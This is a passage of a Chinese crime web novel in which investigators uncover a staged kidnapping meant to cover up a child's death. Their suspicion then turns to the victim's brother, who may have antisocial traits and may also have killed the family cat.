有道理,法医好歹带了个“医”字,在救护车没那么快到达的情况下,只能活马当成死马医了。
祝好没多想,拔腿就往法医办公室跑。
第123章
透过法医办公室半开的百叶窗,祝好看的到刚换下隔离衣从解剖室里出来的温珣正在清洗台旁边洗手。
她一把把门推开,抓住温珣湿漉漉的手就拉着他往外走:“温珣,快跟我走!”
温珣听出她声音里的急切,赶忙问她问道:“怎么了?”
“审讯室有人晕倒了!”
温珣眉头一皱,随意把掌心上的水在裤子上擦了擦,急匆匆跟着她穿过走廊,来到了审讯室。
躺在地上的廖华脸色苍白,目光散乱,张嘴大口喘着粗气,双手抽成了鸡爪状。
审讯过程中,如果嫌疑人出了什么事,就算没有直接的肢体接触,警局也需要背负一定的责任。
一向沉着的秦聿风都有些慌了神:“温主任,他这是怎么了?”
温珣查看了他的症状,来不及解释太多,朝周围人喊道:“给我找个塑料袋!”
混乱中,也不知是谁把一个塑料袋递到温珣手里。他迅速用塑料袋用敞开的那一头罩住廖华的口鼻,冷静地指挥道:“别慌,保持稳定的呼吸频率。”
塑料袋随着廖华的呼吸一胀一缩,过了好一会儿,他的呼吸终于趋于平稳,瞳孔也聚了焦。
温珣招呼大伙儿把他扶到椅子上,这才有时间解释:“应该是因为精神太紧张、过度通气,导致二氧化碳过量呼出造成的呼吸性碱中毒。”
祝好恍然:“所以用塑料袋捂住口鼻,是为了让他多吸入一些二氧化碳,对吗?”
温珣点点头,温和地笑了笑:“对,其实没什么大碍,只要身体里的二氧化碳满足代谢需要就没事了,不过保险起见,最好还是去医院做个检查。”
果然在紧急时刻,法医也是能当医用的。
秦聿风往椅子上一靠,捋了把脑门上的薄汗,暗骂道:“紧张个屁啊紧张,紧张的应该是我才对吧,都快被吓尿了。”
廖华还没完全缓过神来,面色苍白如纸,整个人仍不住发抖,嘴里一直喃喃:“不是我,真的不是我,我什么都不知道。”
他这个状态显然不适合继续接受审讯,恰好这时救护车也到了,秦聿风便派了几个警员24小时全程跟着他,其他人先回去休息。
夜幕被掀起一个角时,忙了一晚上的大家拖着疲惫的身躯互相道别,准备回去囫囵睡上几个小时之后,再次投入到忙碌的工作中。
天空由深邃的蓝色逐渐过渡成泛白的橙色,中间还带着点儿浅浅的青。街道如同一条黑色的绸带,在仅留着少数几点光芒的高楼大厦间蜿蜒铺开。
街头的霓虹灯投射出一道道光影交错的迷幻色彩,24小时营业的便利店还亮着灯,像是这座城市不知疲倦的眼睛,守望着一个个早出晚归的人。
祝好看着车窗外倒退的街景发呆,在脑子里列出了几个可疑的点。
——廖华跟这个案子有关吗?
答案是肯定的,在这个节骨眼上外出“旅游”,怎么看都不像是巧合。他一定是知道警方发现了什么,所以才匆匆出逃。
——是他绑架和杀害了许子昕吗?
这一点祝好存疑。
毋庸置疑,他一定参与绑架案中,至于他在里面扮演着什么角色,目前还不得而知。
但祝好却觉得,许子昕的死应该跟他没有关系。
真正的凶手在面对被害人的照片时,会表现出轻蔑、厌恶甚至是害怕,但不会惊讶。
而廖华在看到许子昕尸体的照片时流露出了无法掩饰的震惊和恐惧,甚至紧张到引发了呼吸性碱中毒,这样的反应是伪装不出来的。
大街上空空荡荡,偶有一两辆车经过,程述一手握着方向盘,一手搭载车窗上,微微偏头看着祝好:“发什么呆呢,还在想案子?”
祝好“嗯”了一声。
程述漫不经心地笑了笑:“这个世界对你来说不就是一个游戏吗?那么认真干什么?”
祝好对他这个说法颇为不满,皱了皱眉,纠正他:“这个世界对我来说或许只是个游戏,但对那些受害人和他们的家人来说不是。还有秦警官、温主任和李砚川也不是,他们都是有感情、有思想的人。”
“那我呢?”程述挑了挑眉,半开玩笑半认真地问:“对你来说,我只是个单纯的路人甲吗?”
祝好想了想:“按照原本的剧情设定,应该是吧。”
如果放在游戏界面上,他就是剧情任务里有几句台词的那种npc,不过或许是画师心情不错,把他设计得比普通npc好看一些。
程述眼中的温度顿时冷却了几分。
祝好没注意到他的表情,兀自说道:“不过这个游戏并没有按照设定的剧情发展,所以现在,你也是一个对我很重要的人。”
程述一时反应不及,侧目看她的眼神里多了一丝错愕,不自觉扯了下嘴角,随后又飞快地干咳一声,看似不经意地随口问道:“是吗?有多重要?”
祝好掰着手指数:“你既是我老板,又是我的军师,还是唯一一个知道我真实身份和秘密的人,你说有多重要?”
话刚落音,程述的嘴角又微不可察地撇了下去。
祝好问他:“话说回来,你为什么那么轻易就接受了这个设定,不会觉得很奇怪吗?”
程述沉默了一会儿才会答:“无所谓,不管是游戏还是现实,只要世界不毁灭,生活还不都是一样过。”
顿了顿,他又说:“再说了,你怎么就能确定你之前那个世界不也是个游戏呢?没准只是你自己没意识到而已。”
祝好被他一句话噎住,竟然无法反驳。
对啊,就算是路上匆匆而过的行人也有自己的来处和去处,没有人会意识到自己其实只是游戏里的背景板。
她又怎么能确定自己在原来的世界中,不是某个与真正的主角擦身而过的npc呢?
*
廖华被送进医院后,医生给他做了个全面的体检,确认了他确实只是呼吸性碱中毒,身体并没有其他问题。
休息一晚上后,他才被押回警局,开始了第二次审讯。
刚被铐在审讯椅上,廖华就摆出一副痛心疾首、“大人我冤枉啊”的表情:“警察同志,我承认电话是我打的,但是这事真的跟我没关系,我没杀人!”
负责审讯的警员敲了敲桌子:“那从你行车记录仪里找到的这些视频,是怎么一回事?”
一个又一个证据摆在眼前,廖华早已没有了昨天那份从容和坦然:“不是我,真的不是我,我不知道,我从来没去过这些地方,是廖莹嫁祸给我的,一定是她!”
警员有些好笑:“你的意思是,你妹妹廖莹绑架、杀害了自己女儿,然后嫁祸给你?”
“没错,没错,就是这样的。”廖华听不出他语气里的讥诮,忙不迭点头。
警员没有急着反驳他,只是抬了抬下巴,示意他继续。
廖华犹疑片刻,说道:“其实那天我去她家吃饭,是想顺便跟她要点钱花,毕竟我们是亲兄妹,她帮我难道不是应该的吗?一开始她不愿意,我们还吵了一架,可那天晚上她就突然给我打了个电话。”
警员问:“电话里说了什么?”
廖华低着头,嗫嚅道:“她说有一个计划,只要事成就能拿到一百万,她会分给我二十万。”
按照廖华的说法,廖莹在电话里告诉他自己最近背着许志刚做了个投资,没想到亏损了几十万,又不敢告诉许志刚 ,害怕他一气之下跟自己离婚,所以就想策划一起女儿被人绑架、以绑匪索要赎金的理由向许志刚要钱。
“我从头到尾都没动过子昕!廖莹说她会想办法把子昕藏起来,我只需要在约定的时间内配合她打两个电话就行!我真的没有杀人!”
廖华的情绪很激动,秦聿风生怕他突然又撅过去了,赶紧让警员安抚安抚他。
警员手心向下压,示意他冷静点儿:“她要你打的两个电话,分别是什么内容?”
廖华:“第一个电话就是那个勒索的电话,她让我开口要一百万的赎金,交易的时间和地点也是她定的。”
秦聿风突然想到什么,通过麦克风对审讯的警员道:“接到勒索电话时,我们曾经要求听许子昕的声音。”
警员心领神会,问廖华:“你说你从头到尾都没见过许子昕,那电话里她叫妈妈的声音是怎么来的?”
廖华说:“我们之前只商量好了大概的内容,许志刚突然提出要听子昕的声音时我还懵了一下,赶紧随便去网上找了一段小孩子叫妈妈的声音。”
警员问:“第二个电话呢?”
“第二个电话就是交易那天的电话,她、她说让我随便指挥她走几段路,再假装生气地质问是不是有警察跟着,然后……然后就先放狠话,说让她替子昕收尸。”
警员皱眉:“为什么要这么说?”
如果他说的是真的,那廖莹的目的很明显就是为了要钱,为什么又要半路放弃?是因为担心事情闹得太大,不好收场吗?
廖华生怕警员不相信他,的声音带着哭腔:“我也不知道啊,她说了我只需要按她的指示去做,其他的她会负责搞定,没想到昨天又突然说事情暴露了,让我买车票先出去避避风头,我人才刚到车站就被你们架回来了。说实话,我到现在都还是懵的,但我真的没有杀人,该交代的我都交代了。”
他的叙述乍一听十分离谱,仔细推敲后似乎又有合理的地方。
许子昕失踪的那天晚上,是和廖莹睡在同一个帐篷里,她完全有时间和机会在许志刚不知情的情况下把许子昕抱走,再割破帐篷,伪造成许子昕被绑架的假象。
廖刚的车也是廖莹给的旧车,车钥匙她应该也有。
根据现有的证据,没办法准确判断出许子昕被带走的时间和抛尸的时间,那么廖莹只要在这个范围内开着廖华的车往返现场,让行车记录仪记录下路程,就能把责任推卸到他身上。
廖华很可能对此并不知情,所以才会在秦聿风说要查看行车记录仪时表现得如此坦然。
根据程述的推断,凶手在许子昕的尸体上表现出的补偿性行为,多半是因为愧疚、自责或跟她有着亲密的关系。不管是哪点,廖莹都很符合。
难道说,真的是廖莹为了找借口向许志刚要钱,策划绑架了自己的女儿,却因为某种原因失手将她杀害,干脆将计就计,嫁祸给自己的亲哥哥?
第124章
对廖华的审讯进行得并不顺利,从白天到晚上,中途休息了好几次,审讯的警员都换了好几批,也没问出什么有用的线索。
除了不停谩骂廖莹不是人、心机重、连自己亲哥哥都不放过之外,剩下的就是“不是我”“我没做过”“跟我没关系”这几句话的排列组合。
负责审讯的警员口干舌燥,耐心随着保温杯里的水一起慢慢变少:“你有证据吗?”
廖华茫然地眨了眨眼睛:“证据?”
“你说是廖莹与你串通,共同策划了这起绑架案,你有什么证据吗?”
廖华一愣,急声辩解:“我没有证据,不过你可以去问她啊!你把她找来,我可以当面跟她对质!”
他对廖莹的指控虽然有合理之处,却没有任何实质性的证据能支撑。
比如他说他那几天一直在家,但无人能为他证明;让他解释行车记录仪里视频的来源,他也是一脸欲哭无泪的“我真的不知道”。
而他那辆车所停放的位置又恰好是个监控盲区,看不到上下车的人的身影,只能从交通监控拍到的视频里,依稀能分辨出是个戴着帽子和口罩的男人,身形倒是跟廖华有几分相似。
警方当然不可能让嫌疑人和受害者家属当面对质,眼看审讯进入僵局,秦聿风也有些无可奈何,通过监控室的对讲机吩咐负责审讯的警员:“接着审,让他把那几天做了什么、去过哪里都说一遍,打乱时间顺序反复多问几次,看看能不能找出漏洞。”
然后转头拍醒了昏昏欲睡的程述:“老程,我们去一趟许家。”
*
敲响许家的门,出来开门的是穿着家居服、面露倦意的廖莹。
“警察同志,那么晚了,有什么事吗?”
秦聿风摆出一副人名警察特有的亲和笑容:“关于许子昕一案的调查,有了新的线索,我特地来告诉你们。”
不知道是不是经历的打击太大,廖莹的反应有些慢,微微愣怔片刻后,才请他们进屋。
祝好环顾四周,没有看到许志刚和许子安的身影,便问道:“廖女士,你先生呢?”
廖莹抬手请他们在沙发上坐下,说:“他在楼上陪子安睡觉,那个,案子——”
“经过调查,我们发现你的哥哥廖华有重大作案嫌疑,他已经因为涉嫌绑架和谋杀被我们逮捕了,目前审讯已经有了初步结果。”
廖莹下意识紧了紧身上的披肩,环抱着肩膀靠进沙发里,颓靡地点了点头。
程述静静地观察着她的表情,突然开口:“廖女士,你好像并不惊讶。”
廖莹愣了一下,偏过头艰难地笑了笑:“我这几天实在太累了,情绪已经……已经麻木了。”
说完叹了口气:“其实那天你们问我廖华在哪里的时候,我就已经猜到会是他了。现在人抓到了就好,也能……还子昕一个公道了。”
秦聿风冷不丁补充了一句:“不过廖华在审讯时透露了一些关于你的事,我们需要你配合调查。”
“什么事?”
秦聿风一五一十转达了廖华的说法:“他说,是你因为投资失败,资金亏损又不敢跟您丈夫说,所以策划了这起绑架案,以赎金的名义向您丈夫要钱。”
廖莹听完垂下眼睫,咬了咬嘴唇:“他真的这么说的?”
秦聿风点点头。
廖莹不可置信地扶着额头,怒极反笑:“简直……简直是疯了。”
秦聿风给了她半分钟的时间缓神,然后接着问:“那天晚上你为什么要让他来家里吃饭?”
“那天是我母亲的忌日,我想着毕竟是亲兄妹,就叫他来我们家吃个饭,好好谈谈,没想到饭没吃几口,他就开口问我要钱。从他出狱那天开始,我已经负担了他大部分支出,他还是觉得不够,我们就吵了一架。”
她的说辞跟廖华的口供大差不差。
秦聿风“关于投资的事——”
廖莹兀自接上
话:“首先,我并没有做过什么投资,更没有资金亏损,不相信的话,你们随时可以查我的银行流水。”
顿了顿,她又说:“再者,就算我真的投资失败,我相信志刚也不会怪我,更不会说什么要跟我离婚这样的话。”
秦聿风点点头:“嗯,我们会调查的。请问11月16日凌晨三点到凌晨七点之间,你在哪里?”
“这几天除了去警局,我们一直都在家,志刚和子安都能证明。”她把散落的头发向后一捋,发出一声长叹:“出了这种事,我们实在没什么心情,我已经跟公司请了半个月的假,志刚也把医院的工作交给同事打理了。这几天,我们连吃喝都是叫的外卖。”
从餐桌上堆满没来得及收拾的外卖盒和门口的几袋垃圾来看,这段日子对于曾经幸福美满的一家人来说确实很难熬。
说话间,许志刚刚好从楼上下来。
看到客厅里的人,他脚步忽然一顿,拢了拢自己的的家居服外套:“警察同志怎么来了,是子昕的案子有什么线索了吗?”
听秦聿风简短地说明完情况,许志刚露出一副痛心疾首的表情:“真的是廖华做的?”
得到肯定的答复,他狠狠捶了下桌子,意识到自己的失态,说了声“抱歉”,揉了揉发胀的太阳穴,低声叹了口气:“我们已经对他够好了,自从他出狱之后,三番五次来问我们要钱,房租和生活费都是我们付的,就连车子都借给他开了,没想到……”
廖莹一直强忍的情绪也绷不住了,靠在他怀里低声呜咽起来,他搂紧廖莹的肩膀,安抚地拍了拍她的手背。
秦聿风清了清嗓子:“我记得我之前问过你身边有没有怀疑的对象,你就没想过会是他……”
话音还没落,一声带着稚气的怒吼打断了他们的谈话:“你们能不能别吵了?”
大家同时循声望向二楼,只见穿着睡衣的许子安站在栏杆边上,双手叉腰,正怒气冲冲地看着他们。
许志刚和廖莹对视一眼,皱了皱眉,问道:“子安,你不是睡了吗?”
许子安脸色阴沉,稚嫩的脸上带着与年龄不相符的戾气:“我睡不着,你们太吵了!能不能安静点儿!”
廖莹神色尴尬地朝他们笑了笑:“抱歉,我上去哄哄他,你们接着聊。”
说完赶紧起身快步走上二楼,推着许子安的肩膀把他领进房间,关上了门。
程述翘着二郎腿靠在沙发上,若有所思地凝视着他们消失的背影,目光里多了一丝不易察觉的猜疑。
“刚刚说到哪儿了?”许志刚轻咳一声,把他们的注意力又带了回来:“哦,说到怀疑对象……”
秦聿风又把问题重复了一遍:“对,之前我们就怀疑杀害许子昕的凶手是你们熟识的人,还两次问过你们身边有没有怀疑的对象,可你们的答案都是否定的。”
“其实我怀疑过他。”许志刚食指和拇指轻轻往眉心一捻,自嘲似的摇了摇头,继续刚才的话题:“不过他毕竟是我姐夫,当着我妻子的面,我也不好说出来。而且我当时觉得就算他坐过牢,但人不坏,应该不会做出这种事情……是我太大意了,是我对不起子昕。”
这解释听起来合情合理——知人知面不知心,历史上许多连环杀人犯被抓获之前,身边的亲人、朋友、邻居对他们的评价都是“亲切善良的好人”,甚至在被判刑后,还是有很多人不敢相信那些残忍至极的谋杀案是出自他们之手。
秦聿风问:“对了,11月16日凌晨三点到凌晨七点之间,您的妻子廖莹在哪?”
许志刚回答得很快:“她跟我一整晚都在房间里。”
秦聿风点点头:“许先生,为了尽早查明真相,我需要对你们名下所有账户的流水做一次调查。”
许志刚抽了抽鼻子,想也没想就答应了:“没问题,我随时配合。”
直到谈话结束,廖莹才轻手轻脚从许子安的房间里下来,下楼的脚步也放得很轻缓,似乎是生怕再次把他吵醒了。
夫妇俩一起把他们送到门口,许志刚开口道谢:“警察同志,真是辛苦你们这几天的奔波了。”
秦聿风笑了笑:“没事,应该的,有什么消息我们会第一时间通知你们。”
“那个——”许志刚犹豫了一下,说:“我们什么时候可以把子昕带回来?”
“等尸检结果出来就行。”
许志刚点点头,没再说话。
祝好的目光忽然落在玄关处的一张家庭合照上,照片应该是几年前拍的,那个时候他们还是一个完整的四口之家,许子昕和许子安看着都比现在要稚嫩一些,许子昕的怀里还抱着一只漂亮的布偶猫。
布偶猫神态优雅,有一双湛蓝的眼睛,毛质十分顺滑,跟天天在地上打滚、把自己折腾得很埋汰的白眼狼相比,简直就是贵族和贫民的区别。
祝好来了兴趣,忍不住问:“廖女士,这是你们家的猫吗?”
廖莹顺着她的话音抬头看向合照,勉强扯了扯嘴角:“是的,它叫彭彭。”
这是第二次来许家,祝好印象中并没有在这儿见过任何跟猫有关的用品,比如猫粮、玩具、猫砂盆之类的。
廖莹仿佛看出了她的疑惑,说道:“彭彭两年前过世了,当时子昕难过得不行,我们就一起把彭彭埋在后院那棵紫薇树下了。”
提起许子昕,她的眼眶又一次泛红了。许志刚把她带进怀里,轻轻握住了她的手。
第125章
离开许家时已经九点半了,街道上热闹不减,闪烁的霓虹灯驱散了夜色的深沉。
祝好流转的思绪停在了从许家出来时,许志刚和廖莹紧握的双手上。不管最后真相如何,那大概是支撑他们互相扶持着熬过这段日子的力量吧。
“老程?祝好?”
祝好回过神来,不约而同地跟程述一起答了句:“嗯?”
秦聿风忍不住笑了一声:“呵,你俩可真有默契,发呆都那么同步。”
程述毫不客气地打断他:“有屁快放。”
“你们说,这案子到底是怎么个事儿?”秦聿风见他们终于回神,往副驾驶的座椅上一躺,伸了个懒腰:“赶紧帮我捋捋,这几天我就睡了不到十个小时,脑子都快转不动了。”
程述把着方向盘,故作为难地“唉”了一声:“当初说好的不加班,现在天天陪你熬夜,你怎么补偿我?”
秦聿风抬手捏了捏他的肩膀,夹着嗓子说:“实在不行我以身相许吧。”
“滚远点。”程述侧身躲开他的手,嫌弃之情溢于言表,顿了顿,又说:“加班也行,不过得找个安静的、温暖的、能填饱肚子的地方。”
“你小子,不宰我一顿就不舒服是吧?”秦聿风推了下他的脑袋,答应得也很爽快:“你选吧,我请客。”
程述也没想着真的宰他一顿,还是选了之前去过的在警局附近的那家餐馆。
这个点老
板娘已经在算账了,看到他们进来,还是热情地招呼:“秦警官,那么晚还没吃饭呢?今天吃什么?”
秦聿风笑道:“老样子,厨房还剩什么菜随便做几道就行,再给我们来壶热茶。”
老板娘应了一声:“包厢都空着,你们自己挑。”
道谢之后,秦聿风又跟老板娘拿了几张打印纸和一支笔,找了间包厢坐下,打开空调暖气后,双手把笔递给程述:“开始干活吧,程大侦探。”
程述白他一眼,说道:“首先我们按时间顺序,把案发的过程捋一遍,找找其中的疑点。”
他在纸上写下“报警”两个字,说道:“11月14日的清晨,警方第一次接到许志刚夫妇的报警电话,说他们的女儿许子昕在前一晚失踪了。许子昕失踪的地方是一片人烟稀少、没有监控的露营地,在现场,我们没有找到劫匪留下的踪迹。”
“上了电视台的直播之后,廖莹收到了绑匪打来的电话,说许子昕在他手上,需要一百万赎人。”
秦聿风作了补充:“那个电话已经证实是廖华打的。”
电话里,廖华提前告知了交易地点,给了警方足够多的部署时间。但第二天的交易过程中,他却以“有警察跟着”为由中止了交易。
紧接着,翌日清晨就有人发现了许子昕的尸体。
程述在“报警”两个字旁边写下“绑架,交易”,沉吟片刻,说:“我觉得祝好的推测是对的,所谓的绑架更像是一出戏,一出为了掩盖许子昕真正死因和死亡时间的戏。”
秦聿风揉了揉太阳穴,已经彻底放弃思考了:“所以这件事到底跟廖莹有没有关系?”
程述写下廖华的名字,在旁边打了个箭头,写下“廖莹”,标注“兄妹”,然后看向祝好:“祝好,你觉得呢?”
祝好抽回神思,忽然意识到他好像已经很久没叫自己“小助手”了。
她稍一思索,说出自己的想法:“有,不仅跟廖莹有关系,很可能跟许志刚也有关系。”
除了廖华之外,只有他们有那辆车的车钥匙,不管两人之中是谁开着车伪造了廖华出行的假象,另一个人都可以为其作不在场证明。
另外,在整件事中,许志刚夫妇的态度也很奇怪。
面对许子昕的失踪和死亡,他们显然都悲伤到了极致,而这种难过是发自内心的,没有半点虚假。
然而除了悲伤的情绪之外,他们始终给人一种游离在整件事之外的感觉——不关心案件进程,不关心许子昕的死因,不关心被抓获的廖华。
祝好突然想起了温珣那天说的话——
“这次的受害者家属已经非常理智了。”
不只是非常理智,而是理智得超出了常理。
站在受害者家属的角度,不管警方有什么苦衷,那天在农贸市场的围捕行动无疑是失败的,还因此激怒了绑匪,间接导致许子昕被撕票。
换做其他受害者家属,一定会为失去亲人的悲伤和愤怒寻找一个出口,而“不称职”的警方就是最好的发泄对象,所以才会出现那么多大闹警局、拉横幅之类的行为。
即便许志刚夫妇素养和道德水平比一般人要高一些,面对至亲被杀害时,也不可能做到这么理智。
只是祝好想不明白,身为许子昕的亲生父母,他们跟女儿的死又有什么关系呢?
秦聿风的电话突然响了,他看了眼屏幕,接起了电话:“温主任。”
“秦队,尸检结果出来了。”
秦聿风摁下免提,把手机放在桌上:“你说。”
温珣的声音从手机里传出来:“经过解剖,我发现死者气管中有气泡,气管黏膜和肺部均有瘀血,肺胸膜上形成溢血点,确认死因是被捂住口鼻造成的机械性窒息。”
“关于许子昕的死亡时间,受到气温的影响,我只能给出一个大概的范围,就是尸体被发现时的48-72小时之内。”
按照这个时间推断,许子昕真正的死亡时间或许比他们之前推测的还要早,最迟在被带离帐篷后不久就遇害了。
秦聿风问:“还有什么其他发现吗?”
温珣回答:“根据胃内容物的消化情况来看,食物有明显的糜化迹象,可以判断她死前大约两小时刚进食。”
程述问:“她吃了什么?”
“有饭粒,蔬菜和肉类,还有一些饼干之类的。”
“她的胃里有泡面吗?”
温珣回答得快速而笃定:“没有。”
三个人迅速交换了眼神,下一秒,都不约而同站起身来。
餐馆的服务员都下班了,老板娘端着做好的菜刚要送进包厢,就看到几个人齐刷刷从里面跑出来,不由得有些发懵:“哎,秦警官——”
秦聿风来不及解释太多,从钱包里掏出几张钞票放在收银台上:“姨,我有急事,做好的菜先放冰箱,我明天来打包。”
*
短短三个小时内,他们第二次敲开了许家的门。
这回开门的是许志刚,看到秦聿风,他脸色微微一变,随即又换上一个不太自在的笑:“警察同志,你们怎么又回来了,还有什么事吗?”
“我们已经掌握了能证明廖华绑架杀害许子昕的证据,他也承认了,我正好没走远,就想着顺路过来告诉你们。”秦聿风随口扯了个谎,打消了他的疑虑,话说到一半又停下来,偏头看向屋里:“你们还没睡吧?”
许志刚回头看了看裹着披肩从二楼下来的廖莹,干笑一声:“哦,刚要睡。”
秦聿风没有要走的意思:“那我们速战速决,方便进去谈吗?”
许志刚像是突然反应过来似的,侧身给他们让了个进门的位置,请他们在沙发上坐下,犹豫了一下,问道:“廖华他……他真的承认了吗?”
秦聿风没回答:“我还是有几个问题,想要跟你们证实一下。”
“您说。”
祝好注意到,许志刚和廖莹的手又握在了一起。
“11月14日那天,你们是几点钟去露营地的呢?”
“大概是下午三点左右吧。”
“能不能把那天你们具体的行程再说一次?”
许志刚:“我们大概四点钟到达露营的地点,然后就开始搭帐篷,因为是第一次搭帐篷,所以花了很长时间对着说明书研究,直到天快黑了才搭好。”
程述突然问:“两个孩子都没有帮忙吗?”
许志刚愣了一下,还是廖莹抢先一步回答:“他们帮着递东西了。”
“露营那天你们只带了泡面和水吗?”
“是的。”
“为什么只带了这么些东西呢?”
“我们……”许志刚隐晦地咽了下口水:“我们露营的目的是为了让孩子多跟大自然接触,吃喝就尽量简单点儿。”
程述“哦”了一声,意味深长地说:“是吗,两个大人,两个孩子,拢共就吃了两包泡面。我还以为你们是心里有事,根本吃不下东西呢。”
许志刚听出他话里有话,脸色一变:“你什么意思?”
秦聿风此时也敛起了笑意,正色道:“法医的尸检报告显示,许子昕死前两小时左右才刚进食,她胃里有未消化的饭粒、蔬菜、肉类和饼干,唯独没有泡面。”
——只带了泡面和矿泉水,没有其他食物,那许子昕胃里的其他食物又是怎么来的?
又或许,许子昕死亡的时间甚至早于露营之前,有可能在露营的前一天她就已经去世了。
如果是这样,那么只有一种可能——许志刚和廖莹在撒谎。
露营那天发生的事,失踪、绑架、索要赎金,以及把整件事嫁祸给廖华,都是他们一手策划的,目的就是为了掩饰许子昕真正的死因。
廖莹紧紧咬着嘴唇,拼命抑制住眼眶里打转的泪水,脱口喊道:“是我!”
许志刚抬手想阻止她,但是已经来不及了。
她把脸埋在掌心里,泪水从指缝中溢出,痛苦地呜咽道:“都是我的错,是我……不小心伤害了子昕……”
许志刚再也忍不住,难以自抑地红了
眼眶:“阿莹……”
“志刚,你别说了,让我说。”廖莹艰难地抬起头,紧闭着双眼,一字一句地说:“我神经衰弱很长时间了,那天子昕一直哭闹,我心情很不好,想让她安静一些,可是她完全不听我的,我一气之下久拿了枕头捂住她的脸,没想到……”
“阿莹……”许志刚紧紧攥住廖莹的手。
廖莹胡乱抹了把眼泪,抽泣着继续道:“等我反应过来时,一切都已经发生了,志刚给她做了急救,可为时已晚……我的子昕,我的小公主……”
她哭得不能自已:“当时我后悔极了,甚至一度想自杀……一切都是我的错,是我……”
许志刚抱着她,哑声制止:“阿莹,别说了。”
祝好的心猛地揪了一下,胸口仿佛注满冰水,扯着她往下坠,连秦聿风都皱着眉,微乎其微地叹了口气。
而程述却冷静许多,只是凝神听着他们的说辞,没有表露出任何一丝情绪。仿佛在他眼前的不是失去孩子后痛心疾首忏悔的父母,只是某起复杂案件的其中一个环节。
过了好一会儿,等他们哭得差不多了,他才问道:“绑架、勒索又是谁的想法?”
“也是我。”廖莹做了个深呼吸,声音里带着颤抖:“我哥隔三差五就问我要钱,我对他真的很厌烦,但又无可奈何。事情发生后,我不敢自首,就想把这件事推到他身上,还能从此摆脱他,所以就逼着志刚陪我演戏,策划了这起绑架案。”
程述静静地看着她,没有发表任何意见,只是淡淡地问了一句:“真的吗?”
廖莹迫不及待回答:“真的,都是我一个人做的,跟志刚没有关系,他不希望子安失去妈妈,所以才被迫帮我!”
程述又转向许志刚,重复了一遍问题:“许先生,是真的吗?”
许志刚下颌线紧绷,许久才从嗓子里艰难地挤出一句话:“是真的。”
祝好看着许志刚和廖莹紧握的手,突然意识到了什么——程述的冷静不是因为他吝啬于向受害者家属投入太多感情,而是他看到了更深层次的真相。
她一字一顿地说道:“你们撒谎。”
第126章
祝好回想起自己小时候有一回跟爸爸妈妈一起去逛超市,突发奇想想要知道如果他们发现自己不见了会怎么样,就偷偷藏了起来,躲在暗处观察他们的反应。
当时爸爸妈妈先是慌了神,四下寻找她的踪影无果后,平日里感情很好、几乎没吵过架的他们开始有些崩溃,互相指责对方没有看好孩子。
后来她主动从藏身的货架后面跑出来,才平息了爸爸妈妈的这次争执,最后两人以一个落在她屁股上的巴掌作为和好的标志。
一般来说,孩子出了事,夫妻之间互相埋怨和责怪对方是再正常不过的反应,正如现实中许多孩子走丢的家庭,最后都会走向分崩离析。
如果子昕的死跟廖莹有关,许志刚不可能能心平气和地面对杀害女儿的妻子,甚至配合她演戏来嫁祸他人、掩藏罪证。
可是这对夫妻从报警的那一刻,就一直紧握着对方的手,这是一种保护和包庇的行为。
如果他们要保护的不是对方,那就只有一个可能——他们想要保护仅剩的那个孩子,也就是杀害许子昕的真凶,他们的大儿子许子安。
廖莹哭得几乎要喘不过气,一把扯住秦聿风的袖子:“不,我没有撒谎,真的都是我做的,求你别再查下去了,警察同志。”
秦聿风皱了皱眉,看向程述。
程述还是一如既往地平静,语气毫无波澜:“我只有一个问题,你们是从什么时候开始,发现许子安跟其他孩子不一样的?”
廖莹一愣,忽然止住了哭泣,下意识跟许志刚对视了一眼,两人的目光又飞快错开,各自看往不同的方向。
许志刚如临大敌地绷紧身体,下颌微微抖动:“你在说什么,我听不明白。子安跟其他孩子没有任何区别。”
“你对‘没有任何区别’的定义是什么?”程述身子前倾,浑身带着一股压迫感,锐利的目光从许志刚夫妇身上扫过:“其他孩子也像他一样行为冲动,撒谎成性,自私自利,易怒且极具攻击性,并且在做错事情之后不会产生懊悔的情绪吗?”
许志刚仿佛被他的目光蛰了一下,不由自主移开视线:“他只是……他只是被宠坏了,脾气不太好。”
“真的只是脾气不太好吗?”程述突然站起身,抬脚就往后院走。
祝好和秦聿风交换了个眼神,也跟了上去。
这段时间后院疏于打理,草已经长了十多厘米高。程述在墙角那棵桂花树下转了一圈,拿起墙角的铲子,对着一片植被跟其他地方相比稍显荒芜的区域挖了起来。
许志刚夫妇不明所以,向秦聿风投去询问的目光,秦聿风没说话,只是摇头示意他们不要上前。
祝好心念一动,回想起玄关上那张合影,隐约猜出了程述要干什么,一丝凉意过电似的窜上脊骨。
随着铲子一下一下插进土里,将带着草皮的泥土挖开,没多久,浅坑里就出现了一具动物的骸骨。
祝好看向满脸泪痕、靠在许志刚怀里的廖莹,问出了心中的疑惑:“这是……彭彭吗?”
程述从口袋里拿出一对手套戴上,许志刚想上前阻止他,却被秦聿风先一步拦住了,只能眼睁睁看着他轻轻拨开了覆盖在骨头上的泥土。
程述捻起一块碎裂的骨头,沉声说道:“我不是专业的法医,不过我也能看得出来,这只猫头骨严重碎裂,后腿骨折……”
不知道是不是想起了白眼狼,一贯冷静的他停顿了一下,才继续说下去:“它是怎么死的?廖女士。”
廖莹脸上露出惊恐之色,支支吾吾好半天说不出个所以然:“它、它是……意外……”
程述打断她:“是意外,还是被人虐待致死的?”
廖莹浑身颤抖,但还在挣扎:“是意外……”
“那么,许子昕的死也是个意外吗?”
“子昕……她……”廖莹脸上血色瞬间消退,目光躲闪。
程述站起身,摘下手套往地上一扔,一步一步朝抱在一起的许志刚夫妇走去,凌厉的目光里裹挟着冷意:“作为父母,你们应该早就发觉了许子安跟普通孩子不一样。他自控能力差,冲动易怒,缺乏共情能力,从不会承认自己的错误。从他的种种行为来看,他很有可能是反社会型人格。”
“他的脑部前额叶异常,没办法控制自己的情绪,也不会为自己做出的事情感到愧疚。不论是彭彭还是许子昕,在做出那些事之后,他有表现出一丝难过和抱歉吗?”
“你知道像许子安这样的孩子,如果在童年时期没有加以正确引导,会变成什么样吗?你们一味的宠溺和过度保护,已经引发了严重的后果,再这么下去只会让情况变得更糟糕。”
“难道你们希望自己的孩子,变成连环杀人犯吗?”
程述的逼问一句接一句,丝毫没有给他们一丝喘息的机会。
许志刚脸色涨红,忽地冲上前推了他一把,朝他大喊:“你胡说八道什么!我们自己的孩子轮不着你说三道四!”
程述没说话,微微一眯眼,视线落在他们身后的客厅里:“你们到现在还不愿意承认,是么?”
祝好循着他的目光看去,只见众人讨论的主角不知何时出现在了屋子中央,脸上交织着愤怒和不耐烦。
廖莹脸色一变,连忙上前扶住他的肩膀,催促道:“子安,我不是让你呆在房间里不要出来吗?快回去。”
